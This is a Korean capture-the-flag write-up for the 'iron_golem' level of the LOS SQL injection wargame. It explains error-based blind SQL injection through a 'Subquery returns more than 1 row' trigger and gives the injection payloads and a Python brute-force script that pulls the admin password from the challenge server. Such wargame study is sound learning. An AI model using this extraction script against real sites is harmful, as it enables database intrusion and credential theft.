워게임/LOS
iron_golem(참 거짓을 판별할 수 없는 blind sqli)
meanjung
2021. 10. 5. 11:05
보통 참 거짓을 판별할 수 없는 blind sql injection에서는 시간 지연(sleep, benchmark 함수)을 이용해 해결한다.
하지만 여기서는 필터링되어있다.
그럼 error based sql injection임을 파악할 수 있다.
쿼리를 날렸을 때 에러가 발생하면 그 에러를 출력하라.
즉, 에러가 나지 않는다면 아무것도 안나오겠지? 에러가 발생한다는 것은 문법적으로 틀리는 등이어야 한다. 해당 데이터가 없는 것과는 다르다.
일단 pw 길이 파악이 우선이다.
pw=' or id='admin' and if(length(pw)=1, (select 1 union select 2), 1)# 1값을 계속 바꾸면서 진행한다.
length(pw)=32일 때
즉, admin의 pw 길이는 32라는 의미이다.
[**] 1==true / 0==false
import requests
cookies={"PHPSESSID":""}
passwd=""
for i in range(1, 33):
for c in range(48, 123):
url = f"https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=' or id='admin' and if(substr(pw,{i},1)=char({c}), (select 1 union select 2), 1)%23"
res = requests.get(url, cookies=cookies)
if "Subquery returns more than 1 row" in res.text:
passwd+=chr(c)
print(passwd)
break
output > 06B5A6C16E8830475F983CC3A825EE9A
lowercase로 바꿔야 한다.
mysql에서는 대소문자를 구별하지 않지만 php에서 구별한다.